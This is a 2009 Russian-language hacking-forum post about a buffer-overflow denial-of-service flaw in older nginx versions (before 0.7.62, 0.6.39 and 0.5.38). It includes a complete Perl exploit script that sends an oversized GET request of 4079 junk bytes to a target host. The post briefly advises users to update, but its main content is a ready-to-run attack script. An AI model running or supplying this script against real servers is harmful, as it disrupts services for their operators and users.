nginx DoS exploit

Discussion in 'Уязвимости' started by Root-access, 30 Nov 2009.

  1. Root-access

    Root-access Elder - Старейшина

    Joined:
    18 Jun 2008
    Messages:
    193
    Likes Received:
    195
    Reputations:
    91
    Вроде на ачате до сих пор не выложили тему об этой нашумевшей уязвимости в nginx.
    Опубликована где-то в сентябре.
    Это переполнение буфера в функции ngx_http_process_request_headers().
    Эксплойта с выполнением произвольного кода пока нет, возможна лишь атака на отказ в обслуживании поэтому выкладываю в этот раздел.
    Тем, кто не любит обновляться, надо это сделать скорее.
    Уязвимы версии до 0.7.62, 0.6.39 и 0.5.38
    Эксплойт:

    Code:
    #!/usr/bin/perl
    use IO::Socket;
    if ($#ARGV != 0) {
    print "Usage: ./nginx.pl <hostname>\n";
    exit;}
    $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
    PeerPort => '80',
    Proto => 'tcp');
    $mysize = 4079;
    $mymsg = "o" x $mysize;
    print $sock "GET /$mymsg HTTP/1.1\r\n\r\n";
    
    while(<$sock>) {
    print;
    }
    
    Как видите, отправляется банальный get-запрос с 4079 байтами мусора.